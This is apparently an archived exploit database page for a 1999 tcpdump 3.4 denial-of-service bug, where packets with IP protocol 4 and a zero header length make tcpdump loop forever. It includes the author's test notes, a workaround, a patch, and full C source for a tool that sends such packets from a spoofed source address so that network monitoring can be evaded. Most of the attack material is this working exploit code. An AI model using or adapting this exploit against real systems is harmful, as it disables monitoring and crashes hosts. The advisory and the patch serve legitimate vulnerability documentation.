Lucene search
K

tcpdump 3.4 - Protocol Four / Zero Header Length

🗓️ 16 Jun 1999 00:00:00Reported by badiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

tcpdump 3.4 has a vulnerability causing infinite loop with IP protocol four and zero header length.

Code
// source: https://www.securityfocus.com/bid/313/info

A vulnerability in tcpdump causes it to enter an infinite loop within the procedure ip_print() from the file print_ip.c when it receives a packet with IP protocol number four and a zero header length and it tries to print it. This may allow remote malicious users to evade network monitoring.

/*
tcpdump bug 3.4a? by BLADI ([email protected]);

On receiving an ip packet with Protocol-4 and ihl=0, tcpdump enters
an infinite loop within the procedure ip_print() from file print_ip.c
This happens because the header length (ihl) equals '0' and tcpdump
tries to print the packet

I've tried the bug in diferent OS's

                    
Linux:

     SuSE 6.x:
                   K2.0.36   tcpdump consumes all the system memory
                   K2.2.5    in less than a minute and hangs the system
                   K2.2.9    or sometimes gives an error from the bus
                   K2.3.2
                   K2.3.5

     RedHat 5.2:   K2.?.?    tcpdump makes a segmentation fault to happen
            6.0:   K2.2.9    and it sometimes does a coredump

     Debian        K2.2.?    tcpdump makes a segmentation fault to happen
                             and does a coredump

Freebsd                      Segmentation fault & Coredump  Thanks to: wb^3,Cagliostr
Solaris                      Segmentation fault & Coredump  Thanks to: acpizer
Aix                          ?
Hp-UX                        ?
-------------------------------------------------------------
This tests have been carried out in loopback mode, given that protocol 4
won't get through the routers. It would be interesting to perform the attack
remotely in an intranet.
But i do not have access to one.
------------------------------------------------------------------------------
Thanks to:
the channels:
#ayuda_irc,#dune,#linux,#networking,#nova y #seguridad_inform�tica.
from irc.irc-hispano.org
Special thanks go to:
Topo[lb],^Goku^,Yogurcito,Pixie,Void,S|r_|ce,JiJ79,Unscared etc...

Thanks to Piotr Wilkin for the rip base code ;)

And big thanks go to TeMpEsT for this translation.

------
I've found two ways of solving the problem
Solution 1
execute:    tcpdump -s 24

Solution 2  Apply this little patch.
                    
diff -r -p /tcpdump-3.4a6/tcpdump-3.4a6/print-ip.c /tcpdump-3.4a7/tcpdump-3.4a6/print-ip.c
*** /tcpdump-3.4a6/tcpdump-3.4a6/print-ip.c     Wed May 28 21:51:45 1997
--- /tcpdump-3.4a7/tcpdump-3.4a6/print-ip.c     Tue Oct 27 05:35:27 1998
*************** ip_print(register const u_char *bp, regi
*** 440,446 ****
                                (void)printf("%s > %s: ",
                                             ipaddr_string(&ip->ip_src),
                                             ipaddr_string(&ip->ip_dst));
-                       ip_print(cp, len);
                        if (! vflag) {
                                printf(" (ipip)");
                                return;
--- 440,445 ----

*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>  
#include <errno.h>
#include <netdb.h>
struct icmp_hdr
     {
          struct iphdr iph;
          char text[15];
     } 
    encaps;
int in_cksum(int *ptr, int nbytes)
     {
           long sum;
           u_short oddbyte, answer;
           sum = 0;
           while (nbytes > 1)
                   {
                    sum += *ptr++;
                    nbytes -= 2;
                   }
           if (nbytes == 1)
                   {
                    oddbyte = 0;
                    *((u_char *)&oddbyte) = *(u_char *)ptr;
                    sum += oddbyte;
                   }
           sum = (sum >> 16) + (sum & 0xffff);
           sum += (sum >> 16);
           answer = ~sum;
           return(answer);
     }
struct sockaddr_in sock_open(int socket, char *address,int prt)
     {
        struct hostent *host;
        struct sockaddr_in sin;

        if ((host = gethostbyname(address)) == NULL)
             {
                  perror("Unable to get host name");
                  exit(-1);
             }
        bzero((char *)&sin, sizeof(sin));

        sin.sin_family = PF_INET;
        sin.sin_port = htons(prt);
        bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
        return(sin);
     }
      
void main(int argc, char **argv)
     {
        int sock, i,k;
        int on = 1;
        struct sockaddr_in addrs; 
        printf("\t\tTCPDumper Ver 0.2 \n\t\t\tBy Bladi\n");
        if (argc < 3)
                {
                  printf("Uso: %s <ip_spoof> <dest_ip> \n", argv[0]);
                  exit(-1);  
                }   
        encaps.text[0]=66; encaps.text[1]=76; encaps.text[2]=65; encaps.text[3]=68;
        encaps.text[4]=73; encaps.text[5]=32; encaps.text[6]=84; encaps.text[7]=90;
        encaps.text[8]=32; encaps.text[9]=84; encaps.text[10]=79;encaps.text[11]=32; encaps.text[12]=84;encaps.text[13]=79;encaps.text[14]=80;encaps.text[15]=79;
        sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
                {
                    perror("Can't set IP_HDRINCL option on socket");
                }
        if (sock < 0)
                {
                    exit(-1);
                }
        fflush(stdout);
        addrs = sock_open(sock, argv[2], random() % 255);
                    encaps.iph.version   = 0;
                    encaps.iph.ihl       = 0;
                    encaps.iph.frag_off  = htons(0);
                    encaps.iph.id        = htons(0x001);
                    encaps.iph.protocol  = 4;
                    encaps.iph.ttl       = 146;
                    encaps.iph.tot_len   = 6574;
                    encaps.iph.daddr     = addrs.sin_addr.s_addr;
                    encaps.iph.saddr     = inet_addr(argv[1]);
                    printf ("\t DuMpInG %s ---> %s \n",argv[1],argv[2]);
                    if (sendto(sock, &encaps, 1204, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1)
                            {
                              if (errno != ENOBUFS) printf("Error :(\n");
                            }
                    fflush(stdout);
        close(sock);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation